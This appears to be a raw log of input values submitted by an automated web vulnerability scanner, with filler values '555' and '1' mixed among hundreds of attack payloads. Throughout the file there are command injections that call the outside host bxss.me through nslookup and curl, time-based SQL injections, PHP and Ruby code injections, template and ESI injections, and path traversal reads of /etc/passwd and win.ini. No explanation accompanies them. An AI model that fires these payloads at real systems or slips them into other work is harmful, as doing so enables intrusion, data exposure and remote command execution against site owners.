&nslookup -q=cname hitwuzxmaznpp03db1.bxss.me&'\"`0&nslookup -q=cname hitwuzxmaznpp03db1.bxss.me&`'
555
'+'A'.concat(70-3).concat(22*4).concat(102).concat(65).concat(101).concat(88)+(require'socket' Socket.gethostbyname('hitaq'+'trrfawqdfa31d.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(121).concat(83).concat(119).concat(87)+(require'socket' Socket.gethostbyname('hitms'+'wupcyejy3c625.bxss.me.')[3].to_s)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
&(nslookup -q=cname hitevratmvudp76289.bxss.me||curl hitevratmvudp76289.bxss.me)&'\"`0&(nslookup -q=cname hitevratmvudp76289.bxss.me||curl hitevratmvudp76289.bxss.me)&`'
555
555
555
555
555
|(nslookup -q=cname hitnybkpysxdh47b87.bxss.me||curl hitnybkpysxdh47b87.bxss.me)
555
`(nslookup -q=cname hithtbxenmxrdabd51.bxss.me||curl hithtbxenmxrdabd51.bxss.me)`
555
555
555
555
555
555
555
;(nslookup -q=cname hitpwwldtbaqi10479.bxss.me||curl hitpwwldtbaqi10479.bxss.me)|(nslookup -q=cname hitpwwldtbaqi10479.bxss.me||curl hitpwwldtbaqi10479.bxss.me)&(nslookup -q=cname hitpwwldtbaqi10479.bxss.me||curl hitpwwldtbaqi10479.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitupcewenbib38bfa.bxss.me||curl${IFS}hitupcewenbib38bfa.bxss.me)
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hiteznhyqeapu927fb.bxss.me||curl${IFS}hiteznhyqeapu927fb.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiteznhyqeapu927fb.bxss.me||curl${IFS}hiteznhyqeapu927fb.bxss.me)&`'
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
'"()
555
555
555'&&sleep(27*1000)*xdhnaj&&'
555
555
${@print(md5(31337))}
555
555
555
555
${@print(md5(31337))}\
555
555"&&sleep(27*1000)*ytmywv&&"
555
'.print(md5(31337)).'
555
555
555
555
555'||sleep(27*1000)*lohgov||'
<?php print(md5(31337));?>
555
555"||sleep(27*1000)*gejoyl||"
'{${print(md5(31337))}}'
555
555
555
555
print(md5(31337));//
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555
555wqymZMu8'; waitfor delay '0:0:15' --
555
555-1 OR 564=(SELECT 564 FROM PG_SLEEP(15))--
555
555-1) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
555
555-1)) OR 450=(SELECT 450 FROM PG_SLEEP(15))--
555
555y6ZR1KqA' OR 192=(SELECT 192 FROM PG_SLEEP(15))--
555
555WrSIF6Dk') OR 502=(SELECT 502 FROM PG_SLEEP(15))--
555
555
555
555
555hwGhZE9U')) OR 254=(SELECT 254 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@XEq8q
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
1
555jZ8yLYA5'; waitfor delay '0:0:15' --
1
555-1 OR 591=(SELECT 591 FROM PG_SLEEP(15))--
1
555-1) OR 388=(SELECT 388 FROM PG_SLEEP(15))--
1
555-1)) OR 44=(SELECT 44 FROM PG_SLEEP(15))--
1
55548dh72ES' OR 250=(SELECT 250 FROM PG_SLEEP(15))--
1
5554ZFnXEXn') OR 512=(SELECT 512 FROM PG_SLEEP(15))--
1
555
555mBDk86ck')) OR 219=(SELECT 219 FROM PG_SLEEP(15))--
1
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@W4pqW
1
555
555
1
555
555
1
555
1
555
1
555
1
555
1
555
1
555
1
1
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555EHpThx70'; waitfor delay '0:0:15' --
555-1 OR 931=(SELECT 931 FROM PG_SLEEP(15))--
555-1) OR 923=(SELECT 923 FROM PG_SLEEP(15))--
555-1)) OR 602=(SELECT 602 FROM PG_SLEEP(15))--
555p9xtwCM5' OR 284=(SELECT 284 FROM PG_SLEEP(15))--
555G6Vi8U0x') OR 599=(SELECT 599 FROM PG_SLEEP(15))--
555kXUbuRi4')) OR 814=(SELECT 814 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@pA8Bo
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
${10000270+9999385}
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
axCwPT5m
response.write(9650195*9716567)
555
'+response.write(9650195*9716567)+'
555
RPqjZyP9: jKDFhb1F
555
"+response.write(9650195*9716567)+"
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
xfs.bxss.me
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
file:///etc/passwd
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
../555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
)
555
555
Http://bxss.me/t/fit.txt
555
!(()&&!|*|*|
555
555
555
555
^(#$!@#$)(()))******
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555
555
'.gethostbyname(lc('hitsc'.'iaectutr7cf40.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(72).chr(100).chr(66).'
555
555
555
555
555
555
/etc/shells
555
555
555
'"
555
".gethostbyname(lc("hitzf"."hnmdtpagc5592.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(82).chr(114).chr(80)."
555
<!--
../../../../../../../../../../../../../../etc/shells
555
555
555
555
gethostbyname(lc('hitoa'.'pcreztsj0facc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(90).chr(97).chr(89)
555
c:/windows/win.ini
555
555
555
555
555
bxss.me
555
555
555
555
555
555
555
echo rmoqsg$()\ zqvpgx\nz^xyu||a #' &echo rmoqsg$()\ zqvpgx\nz^xyu||a #|" &echo rmoqsg$()\ zqvpgx\nz^xyu||a #
555
555
555
555
555
&echo oxvscw$()\ jxbiuc\nz^xyu||a #' &echo oxvscw$()\ jxbiuc\nz^xyu||a #|" &echo oxvscw$()\ jxbiuc\nz^xyu||a #
555
555
555
555
555&echo fbrdyo$()\ dbahkb\nz^xyu||a #' &echo fbrdyo$()\ dbahkb\nz^xyu||a #|" &echo fbrdyo$()\ dbahkb\nz^xyu||a #
555
555
555
555
555
555
555
555
|echo jzibkc$()\ fxxcxf\nz^xyu||a #' |echo jzibkc$()\ fxxcxf\nz^xyu||a #|" |echo jzibkc$()\ fxxcxf\nz^xyu||a #
555
HttP://bxss.me/t/xss.html?%00
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
bxss.me/t/xss.html?%00
555|echo vcojka$()\ uaxksc\nz^xyu||a #' |echo vcojka$()\ uaxksc\nz^xyu||a #|" |echo vcojka$()\ uaxksc\nz^xyu||a #
555
555
555
555
555
555
(nslookup -q=cname hitcwutqscpwxd3f44.bxss.me||curl hitcwutqscpwxd3f44.bxss.me))
555
555
555
555
555
$(nslookup -q=cname hitpkmrvniemqeec71.bxss.me||curl hitpkmrvniemqeec71.bxss.me)
&nslookup -q=cname hitsqyhvkmnnv3449e.bxss.me&'\"`0&nslookup -q=cname hitsqyhvkmnnv3449e.bxss.me&`'
555
555
555
"+"A".concat(70-3).concat(22*4).concat(103).concat(72).concat(98).concat(80)+(require"socket" Socket.gethostbyname("hitjx"+"ubddzztwbef2f.bxss.me.")[3].to_s)+"
555
&(nslookup -q=cname hitrtyhnjdosz3fe46.bxss.me||curl hitrtyhnjdosz3fe46.bxss.me)&'\"`0&(nslookup -q=cname hitrtyhnjdosz3fe46.bxss.me||curl hitrtyhnjdosz3fe46.bxss.me)&`'
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(119).concat(87).concat(111).concat(65)+(require'socket' Socket.gethostbyname('hitxq'+'gbpwwigw0cf56.bxss.me.')[3].to_s)+'
555
|(nslookup -q=cname hitwcabverkhj7bd3a.bxss.me||curl hitwcabverkhj7bd3a.bxss.me)
'A'.concat(70-3).concat(22*4).concat(116).concat(67).concat(112).concat(75)+(require'socket' Socket.gethostbyname('hitof'+'zjpslblaaf20d.bxss.me.')[3].to_s)
'"()
555
555
`(nslookup -q=cname hitzrjwlmrdjl8c21b.bxss.me||curl hitzrjwlmrdjl8c21b.bxss.me)`
555'&&sleep(27*1000)*ichenc&&'
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
;(nslookup -q=cname hitbxlewqctnmb83db.bxss.me||curl hitbxlewqctnmb83db.bxss.me)|(nslookup -q=cname hitbxlewqctnmb83db.bxss.me||curl hitbxlewqctnmb83db.bxss.me)&(nslookup -q=cname hitbxlewqctnmb83db.bxss.me||curl hitbxlewqctnmb83db.bxss.me)
';print(md5(31337));$a='
|(nslookup${IFS}-q${IFS}cname${IFS}hitybfceubrre87dcd.bxss.me||curl${IFS}hitybfceubrre87dcd.bxss.me)
555
555"&&sleep(27*1000)*xsocbk&&"
555
";print(md5(31337));$a="
555
555'||sleep(27*1000)*tzwelj||'
555
${@print(md5(31337))}
&(nslookup${IFS}-q${IFS}cname${IFS}hitumxqgzzrys4039a.bxss.me||curl${IFS}hitumxqgzzrys4039a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitumxqgzzrys4039a.bxss.me||curl${IFS}hitumxqgzzrys4039a.bxss.me)&`'
555
555"||sleep(27*1000)*pxaqmx||"
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555P8NzQWB5'; waitfor delay '0:0:15' --
555-1 OR 699=(SELECT 699 FROM PG_SLEEP(15))--
555-1) OR 883=(SELECT 883 FROM PG_SLEEP(15))--
555-1)) OR 660=(SELECT 660 FROM PG_SLEEP(15))--
555xpFNxC0C' OR 447=(SELECT 447 FROM PG_SLEEP(15))--
555voXORvJi') OR 46=(SELECT 46 FROM PG_SLEEP(15))--
555CyQuvGRd')) OR 364=(SELECT 364 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@YC3RN
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
${9999330+9999735}
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
response.write(9894668*9984553)
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
../../../../../../../../../../../../../../etc/passwd
'+response.write(9894668*9984553)+'
"+response.write(9894668*9984553)+"
/etc/shells
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../etc/shells
file:///etc/passwd
c:/windows/win.ini
555
555
bxss.me
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
CSVBIDWC
555
yzFTrUqc: i65VyKRr
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
echo zgpglg$()\ tolsqq\nz^xyu||a #' &echo zgpglg$()\ tolsqq\nz^xyu||a #|" &echo zgpglg$()\ tolsqq\nz^xyu||a #
555
555
&echo yxzczg$()\ pudhfy\nz^xyu||a #' &echo yxzczg$()\ pudhfy\nz^xyu||a #|" &echo yxzczg$()\ pudhfy\nz^xyu||a #
)
555&echo musvrf$()\ etqcin\nz^xyu||a #' &echo musvrf$()\ etqcin\nz^xyu||a #|" &echo musvrf$()\ etqcin\nz^xyu||a #
555
!(()&&!|*|*|
555
|echo gtvdop$()\ orbwot\nz^xyu||a #' |echo gtvdop$()\ orbwot\nz^xyu||a #|" |echo gtvdop$()\ orbwot\nz^xyu||a #
555
^(#$!@#$)(()))******
555|echo kqbkxu$()\ xlgugf\nz^xyu||a #' |echo kqbkxu$()\ xlgugf\nz^xyu||a #|" |echo kqbkxu$()\ xlgugf\nz^xyu||a #
555
(nslookup -q=cname hitwfpqbrojsj24f79.bxss.me||curl hitwfpqbrojsj24f79.bxss.me))
555
555
$(nslookup -q=cname hitxthxqeoyyoba3e0.bxss.me||curl hitxthxqeoyyoba3e0.bxss.me)
555
555
555
555
555
555
&nslookup -q=cname hitxjxhodwsun15fff.bxss.me&'\"`0&nslookup -q=cname hitxjxhodwsun15fff.bxss.me&`'
'.gethostbyname(lc('hitka'.'qatvinwo807b3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(79).chr(100).chr(79).'
555
555
&(nslookup -q=cname hitjcybfalesk94d15.bxss.me||curl hitjcybfalesk94d15.bxss.me)&'\"`0&(nslookup -q=cname hitjcybfalesk94d15.bxss.me||curl hitjcybfalesk94d15.bxss.me)&`'
555
".gethostbyname(lc("hitjm"."wbxfbspb76707.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(66).chr(102).chr(78)."
555
555
|(nslookup -q=cname hitrwmftbzogx41c32.bxss.me||curl hitrwmftbzogx41c32.bxss.me)
555
555
555
555
gethostbyname(lc('hitcg'.'fpgksxuo33c5b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(84).chr(104).chr(82)
`(nslookup -q=cname hitccpyhatksz861f0.bxss.me||curl hitccpyhatksz861f0.bxss.me)`
555
;(nslookup -q=cname hitfhbcupnjqc3fc74.bxss.me||curl hitfhbcupnjqc3fc74.bxss.me)|(nslookup -q=cname hitfhbcupnjqc3fc74.bxss.me||curl hitfhbcupnjqc3fc74.bxss.me)&(nslookup -q=cname hitfhbcupnjqc3fc74.bxss.me||curl hitfhbcupnjqc3fc74.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitnkcvoxfuafcef14.bxss.me||curl${IFS}hitnkcvoxfuafcef14.bxss.me)
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hittepgyhualk70193.bxss.me||curl${IFS}hittepgyhualk70193.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittepgyhualk70193.bxss.me||curl${IFS}hittepgyhualk70193.bxss.me)&`'
555
555
555
'"
555
555
<!--
555
555
555
555
555
555
555
555
'"()
555
555
555
555
555'&&sleep(27*1000)*ozinev&&'
555
555"&&sleep(27*1000)*ymkmtr&&"
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555'||sleep(27*1000)*nytjfs||'
555"||sleep(27*1000)*bzacos||"
555
';print(md5(31337));$a='
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
555
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
"+"A".concat(70-3).concat(22*4).concat(107).concat(88).concat(122).concat(86)+(require"socket" Socket.gethostbyname("hitcq"+"epotbrxh56b9c.bxss.me.")[3].to_s)+"
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
'+'A'.concat(70-3).concat(22*4).concat(97).concat(83).concat(109).concat(86)+(require'socket' Socket.gethostbyname('hitud'+'wliovdfofeda9.bxss.me.')[3].to_s)+'
555
555
'A'.concat(70-3).concat(22*4).concat(122).concat(89).concat(115).concat(68)+(require'socket' Socket.gethostbyname('hitbv'+'jutqjzey91da9.bxss.me.')[3].to_s)
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555ogj5b7if'; waitfor delay '0:0:15' --
555-1 OR 789=(SELECT 789 FROM PG_SLEEP(15))--
555-1) OR 614=(SELECT 614 FROM PG_SLEEP(15))--
555-1)) OR 646=(SELECT 646 FROM PG_SLEEP(15))--
5552aUJmaMn' OR 949=(SELECT 949 FROM PG_SLEEP(15))--
555
555
555
555
555
555
${10000227+9999851}
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9496033*9864263)
555
555
555
'+response.write(9496033*9864263)+'
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
"+response.write(9496033*9864263)+"
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
../../../../../../../../../../../../../../etc/passwd
555
555
555
Http://bxss.me/t/fit.txt
../../../../../../../../../../../../../../windows/win.ini
555
555
http://bxss.me/t/fit.txt%3F.jpg
file:///etc/passwd
555
555
555
555
/etc/shells
555
555
555
MFgS50si
../555
555
555
../../../../../../../../../../../../../../etc/shells
44EYrqPz: EzXlFkzG
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
echo yqkhxb$()\ sdpawv\nz^xyu||a #' &echo yqkhxb$()\ sdpawv\nz^xyu||a #|" &echo yqkhxb$()\ sdpawv\nz^xyu||a #
555
555
555
555
&echo gaxzvi$()\ tbvxzs\nz^xyu||a #' &echo gaxzvi$()\ tbvxzs\nz^xyu||a #|" &echo gaxzvi$()\ tbvxzs\nz^xyu||a #
555
555
555
555&echo xnuawd$()\ txgnsj\nz^xyu||a #' &echo xnuawd$()\ txgnsj\nz^xyu||a #|" &echo xnuawd$()\ txgnsj\nz^xyu||a #
555
555
555
555
555
|echo ogyzxs$()\ jofzrc\nz^xyu||a #' |echo ogyzxs$()\ jofzrc\nz^xyu||a #|" |echo ogyzxs$()\ jofzrc\nz^xyu||a #
555
)
555|echo cufknh$()\ fzobcf\nz^xyu||a #' |echo cufknh$()\ fzobcf\nz^xyu||a #|" |echo cufknh$()\ fzobcf\nz^xyu||a #
555
!(()&&!|*|*|
555
555
(nslookup -q=cname hitifuarovozzefcdd.bxss.me||curl hitifuarovozzefcdd.bxss.me))
555
$(nslookup -q=cname hitpyfwmlbzkmec6e2.bxss.me||curl hitpyfwmlbzkmec6e2.bxss.me)
555
^(#$!@#$)(()))******
555
555
&nslookup -q=cname hitflvnlrzawk83349.bxss.me&'\"`0&nslookup -q=cname hitflvnlrzawk83349.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitkdivqaraegc99e9.bxss.me||curl hitkdivqaraegc99e9.bxss.me)&'\"`0&(nslookup -q=cname hitkdivqaraegc99e9.bxss.me||curl hitkdivqaraegc99e9.bxss.me)&`'
555
|(nslookup -q=cname hitqnamkolktgeb76d.bxss.me||curl hitqnamkolktgeb76d.bxss.me)
555
555
555
555
555
555
`(nslookup -q=cname hitchlcdeyccgf4d2c.bxss.me||curl hitchlcdeyccgf4d2c.bxss.me)`
555
555
555
555
555
555
'.gethostbyname(lc('hitmm'.'xunafyuu9e701.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(79).chr(110).chr(66).'
;(nslookup -q=cname hitqdubdpboyd26bb9.bxss.me||curl hitqdubdpboyd26bb9.bxss.me)|(nslookup -q=cname hitqdubdpboyd26bb9.bxss.me||curl hitqdubdpboyd26bb9.bxss.me)&(nslookup -q=cname hitqdubdpboyd26bb9.bxss.me||curl hitqdubdpboyd26bb9.bxss.me)
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitwygiwnfwtk8b4c9.bxss.me||curl${IFS}hitwygiwnfwtk8b4c9.bxss.me)
".gethostbyname(lc("hitui"."szfyzzlz98d43.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(67).chr(116).chr(78)."
555
555
555
555
gethostbyname(lc('hitbz'.'lzbldqej37e09.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(80).chr(112).chr(85)
&(nslookup${IFS}-q${IFS}cname${IFS}hithysfrschao2927a.bxss.me||curl${IFS}hithysfrschao2927a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithysfrschao2927a.bxss.me||curl${IFS}hithysfrschao2927a.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
'"
555'&&sleep(27*1000)*bmwygn&&'
555
555
<!--
555"&&sleep(27*1000)*fyfadd&&"
555
555
555
555'||sleep(27*1000)*fksnkb||'
555
555
555
555
555
555"||sleep(27*1000)*vsnmby||"
555
555
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
';print(md5(31337));$a='
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(122).concat(66).concat(111).concat(75)+(require"socket" Socket.gethostbyname("hitds"+"bunawgqwa5c96.bxss.me.")[3].to_s)+"
";print(md5(31337));$a="
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
${@print(md5(31337))}
'+'A'.concat(70-3).concat(22*4).concat(118).concat(86).concat(108).concat(68)+(require'socket' Socket.gethostbyname('hitvz'+'mqsdyqgvbc578.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(110).concat(66).concat(97).concat(75)+(require'socket' Socket.gethostbyname('hitro'+'cpjzgwcsfb4b2.bxss.me.')[3].to_s)
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
555
1
[php]print(md5(31337));[/php]
555
555
1
555
555
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
555
1
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
1
555
1
555
1
555
555
1
1
555
1
555
1
555
555
1
555
1
555
1
555
555
1
1
555
555
555
1
555
555
555
555
1
555
1
1
1
555
1
1
1
1
555
1
1
555
1
1
555
1
1
1
1
555
1
1
1
1
1
555
1
1
1
1
555
1
1
555
1
555
1
1
1
1
1
555
1
555
555
1
${10000481+9999018}
555
1
555<esi:include src="http://bxss.me/rpb.png"/>
1
555
555
1
1
555
555
555
555
555
1
1
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
1
555
1
555
1
555
555
1
555
555
555
1
555
555
555
555
1
555
555
1
555
response.write(9893860*9710017)
1
1
555
555
'+response.write(9893860*9710017)+'
555
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1
1
"+response.write(9893860*9710017)+"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
../../../../../../../../../../../../../../etc/passwd
1
555
555
1
Http://bxss.me/t/fit.txt
../../../../../../../../../../../../../../windows/win.ini
1
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
1
file:///etc/passwd
1
555
555
/etc/shells
1
555
555
1
555
../../../../../../../../../../../../../../etc/shells
555
555
../555
555
555
1
1
c:/windows/win.ini
555
555
fV3mpKDD
1
555
bxss.me
1
555
1
bnPHD3Tv: SQm7XqQ4
555
555
1
555
1
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo feuwfs$()\ sfmrbe\nz^xyu||a #' &echo feuwfs$()\ sfmrbe\nz^xyu||a #|" &echo feuwfs$()\ sfmrbe\nz^xyu||a #
555
555
)
555
555
&echo afpysi$()\ hqttqg\nz^xyu||a #' &echo afpysi$()\ hqttqg\nz^xyu||a #|" &echo afpysi$()\ hqttqg\nz^xyu||a #
555
!(()&&!|*|*|
555
555
555&echo gttodo$()\ uivxrm\nz^xyu||a #' &echo gttodo$()\ uivxrm\nz^xyu||a #|" &echo gttodo$()\ uivxrm\nz^xyu||a #
'.gethostbyname(lc('hitef'.'tkamkjtda203a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(68).chr(121).chr(67).'
^(#$!@#$)(()))******
555
555
555
|echo ivjfmr$()\ emjwmz\nz^xyu||a #' |echo ivjfmr$()\ emjwmz\nz^xyu||a #|" |echo ivjfmr$()\ emjwmz\nz^xyu||a #
555
555
".gethostbyname(lc("hitli"."qxleoowo8d31e.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(84).chr(103).chr(74)."
555
555
555|echo stkmwe$()\ ufrnag\nz^xyu||a #' |echo stkmwe$()\ ufrnag\nz^xyu||a #|" |echo stkmwe$()\ ufrnag\nz^xyu||a #
555
555
gethostbyname(lc('hitmv'.'wqttgqjze4112.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(67).chr(108).chr(86)
(nslookup -q=cname hitacbaywkcyv01586.bxss.me||curl hitacbaywkcyv01586.bxss.me))
555
555
555
555
555
